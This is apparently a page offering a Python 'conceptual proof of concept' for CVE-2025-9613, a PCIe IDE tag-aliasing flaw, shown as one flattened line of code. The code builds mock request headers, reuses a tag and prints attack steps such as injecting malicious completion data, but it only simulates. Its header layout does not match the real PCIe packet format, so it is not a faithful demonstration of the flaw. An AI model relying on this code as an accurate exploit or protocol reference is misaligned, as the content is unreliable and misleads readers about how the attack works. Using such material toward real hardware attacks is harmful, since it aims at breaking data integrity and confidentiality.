CVE-2025-9613: PCIe IDE标签重用导致数据完整性和机密性受损

# CVE-2025-9613 PoC - PCIe IDE Tag Aliasing Attack Simulation # Note: This is a conceptual PoC for demonstrating the vulnerability # Actual exploitation requires PCIe protocol expertise and hardware access import struct class PCIeTagAliasingPOC: def __init__(self): self.tag_space = 256 # PCIe Tag field is 8 bits (0-255) def generate_malicious_request(self, tag_id, request_type=0x0000): """ Generate a Non-Posted Request with specific tag PCIe TLP Header format: Fmt[1:0] Type[4:0] ... Tag[7:0] ... """ # Memory Read Request (Non-Posted) tlp_header = struct.pack('B', 0x00) # Fmt: 32-bit data, No Payload tlp_header += struct.pack('B', request_type) # Type: Memory Read tlp_header += struct.pack('H', 0x0000) # Length tlp_header += struct.pack('B', tag_id) # Malicious tag return tlp_header def trigger_completion_timeout(self): """ Simulate triggering completion timeout scenario This causes the receiver to potentially reuse the tag """ print("[+] Step 1: Sending request with tag 0x42") req1 = self.generate_malicious_request(0x42) print("[+] Step 2: Simulating completion timeout (no response)") # In real attack, this would involve preventing completion response print("[+] Step 3: Request tag reuse with new request") req2 = self.generate_malicious_request(0x42) # Same tag! print("[+] Step 4: Injecting malicious completion data") malicious_data = b'\xDE\xAD\xBE\xEF' * 4 print("[-] Potential impact: Data delivered to wrong security context") return req1, req2, malicious_data def demonstrate_tag_aliasing(self): """ Demonstrate the tag aliasing condition """ print("=" * 60) print("CVE-2025-9613 PCIe IDE Tag Aliasing PoC") print("=" * 60) self.trigger_completion_timeout() print("[!] Note: Actual exploitation requires PCIe bus access") print("=" * 60) if __name__ == "__main__": poc = PCIeTagAliasingPOC() poc.demonstrate_tag_aliasing()